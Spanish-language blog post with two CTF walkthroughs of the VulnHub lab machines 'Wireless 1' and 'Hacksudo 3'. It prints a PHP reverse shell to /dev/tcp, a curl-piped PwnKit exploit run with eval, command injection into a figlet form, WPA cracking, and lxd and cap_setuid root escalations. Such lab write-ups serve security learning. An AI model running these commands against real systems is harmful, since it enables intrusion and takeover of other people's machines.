martes, 26 de julio de 2022

Breaking Wireless 1

 https://www.vulnhub.com/entry/wireless-1,669/

- Más fácil de lo que parece

- Enumeración 22,80,8080,8000

- En 80 está el apache plano, vamos a 8000 y está un voip. El ssh lo dejamos de momento y puede que no haga falta

- El vector de entrada parece el puerto 8000, tiene página de login y el user podemos probarlo con lo que se ve en la página principal, lo que nunca debe hacerse, jinmori@voip.in.  Bruteforceamos con Burp pero no sale nada. 

- Miramos más en la web, y el login.js contiene un base64 que oculta un javascript ofuscado

var _0xb5c3=["\x6A\x69\x6E\x6D\x6F\x72\x69","\x54\x68\x65\x20\x71\x75\x69\x63\x6B\x20\x62\x72\x6F\x77\x6E\x20\x66\x6F\x78\x20\x6A\x75\x6D\x70\x73\x20\x6F\x76\x65\x72\x20\x74\x68\x65\x20\x6C\x61\x7A\x79\x20\x64\x6F\x67","\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"];document.write(_0xb5c3);var u=_0xb5c3[0];var string=_0xb5c3[1];var a=string[_0xb5c3[2]](0);var b=string[_0xb5c3[2]](36);var c=string[_0xb5c3[2]](2);var d=string[_0xb5c3[2]](8);var e=string[_0xb5c3[2]](13);var f=string[_0xb5c3[2]](12);var g=string[_0xb5c3[2]](14);var h=string[_0xb5c3[2]](40);var i=string[_0xb5c3[2]](12);var p=String[_0xb5c3[3]](a,b,c,d,e,f,g,h,i);document.write(p);

lo modificamos un poco y sale la clave:  Taekwondo

- Entramos, y poco puede hacerse excepto ver los logs

http://192.168.2.20:8000/voip_logs

De ahí sacamos un nuevo dominio de prueba: wireless.com

- Entramos y es un cms simple con su login. De nuevo aparece un user: juniordev, ahora sí bruteforceamos con Burp y sale pass passion. Entramos

- Analizamos el cms y podemos subir archivos --> subir un shell reverse. Lo hacemos cambiando la extensión a .phar y entramos por cmd

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.X/8888 0>&1'"); ?>

- Directamente con suid3num.py encontramos polkit-agent-helper-1 con lo que hay que probar este vector de entrada: 

www-data@VOIP:/tmp$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"

<nt.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"

cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c

cc -Wall    cve-2021-4034.c   -o cve-2021-4034

echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules

mkdir -p GCONV_PATH=.

cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.

id

uid=0(root) gid=0(root) groups=0(root),33(www-data)

- No es seguramente la solución a priori porque hay un user home coherer con su flag, pero de esta manera es más rápido y directo. Quizá es un fallo del autor de la máquina, que habría pensado que hay que acceder al shell por el usuario coherer. ¿Cómo?

- en la página original sacábamos no solo el domain wireless.com sino que era para testing

podemos pensar en testing.wireless.com

 y ahí encontramos el uso del puerto 8080. Encontramos un bot con el que hay que probar, help por ejemplo y nos da varias opciones, por ejemplo Aircrack-ng  y Logs. Con el Aircrack-ng bajamos un pcap wifi de la red coherer, luego ya nos pone sobre la pista, y con Logs un documento en principio sin utilidad. Con wireshark echamos un vistazo y parece que podemos sacar la clave wifi de coherer. 

- se trata ahora de crackear la clave wpa, usando diccionarios varios o creando uno al efecto del documento log que hemos hallado:

hacemos cewl al documento -w dicwpa

y luego es bueno aplicar alguna regla john

john --wordlist=dicwpa--rules=best64 --stdout > wpacrack.lst

y finalmente

sudo aircrack-ng -a 2 -b 00:0c:41:82:b2:55 -w ../wireless/wpacrack.lst /mnt/d/vulnv/WPA-Capture.pcap -e Coherer

 KEY FOUND! [ Induction ]

- Hacemos ssh con estas credenciales y ya estamos dentro. Solo que de nuevo parece que la única posibilidad de escalar a root es con la vulnerabilidad polkit, que podía aplicarse solo con el usuario apache.

*POST

por supuesto que se trataba de usar el vector lxd.

La manera de hacerlo es la siguiente:

- descargar en la víctima los archivos: lxd.tar.xz y rootfs.squashfs ya compilados en nuestra máquina

- lxd init y entonces lxc image import lxd.tar.xz rootfs.squashfs --alias alpine lxc init alpine privesc -c security.privileged=true lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true lxc start privesc lxc exec privesc /bin/sh

entramos al container y luego tenemos el filesystem en mnt




Breaking Hacksudo 3 Máquina sencilla de verano

Wup de la máquina https://www.vulnhub.com/entry/hacksudo-3,671/ 

Nivel: principiante! 

 1- nmap, solo aparece abierto el puerto 80, accedemos y redirecciona a

 http://192.168.2.50/create/ 

 interesante el proyecto, pero de momento opaco a lo que buscamos

2- gobuster, u otros, detectamos login.php, generator.php. Con el login podemos bruteforcear pero esto es siempre lo último. Probamos en generator.php. Parece que metemos una cadena y la presenta gráficamente en lo que parece que usa figlet 

 https://ubunlog.com/figlet-banners-ascii-terminal/ 

3- figlet se ejecuta en system luego podemos probar si es vulnerable a la entrada. Metemos ';' pero no va, probamos con &: entrada post: '& whoami', y funciona: www-data. 

Vamos a explotarlo mirando con ls y lo primero es volcar el login.php: & cat login.php, sacamos las claves del login, entramos y nos dice 

 you have logged in successfully , 0x Open The Next Door key is = GMYTGMBTGAZTAMZRGIYDGMJTGAZTAMZQGMZDEMBTGEZTAMZQGMYDGMY= 

4- cyberchef, se trata de base32 y luego from hex. Nos da 3 números 10001,10002,10003. Lo primero es pensar en puertos, son 3, luego debe ser port knocking. Al pasarle los puertos se debe abrir algún puerto, lo hacemos y es el 22, ssh, pero no tenemos las credenciales 

5- seguimos con figlet y buscamos ls .., sale un archivo hacksudo, lo miramos y en caesar contiene 

 hacksudo locker SSH username:hacksudo password:63c9142792d571d0f7c28eb30626d6f38792a2e7679b76d784231676d62447fb80af8953745f709c6622dda2cb4d754c262d0d31b3030a08f7b524079a6b336b 

 usamos jhf (antes que hashcat/john) y nos da 'vishal' 

6- ya tenemos las credenciales ssh, pero el knocking dura unos milisegundos, luego 

 knock 192.168.2.50 10001 10002 10003 & ssh hacksudo@192.168.2.50 7

7 - una vez dentro hacemos getcap y encontramos 

 /home/hacksudo/locker/php cap_setuid=ep 

 finalmente suid sin sudo:

 hacksudo@hacksudo:~$ /home/hacksudo/locker/php -r "posix_setuid(0); system('/bin/bash');" 

root@hacksudo:~# id 
root@hacksudo:~# uid=0(root) gid=1000(hacksudo) groups=1000(hacksudo),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)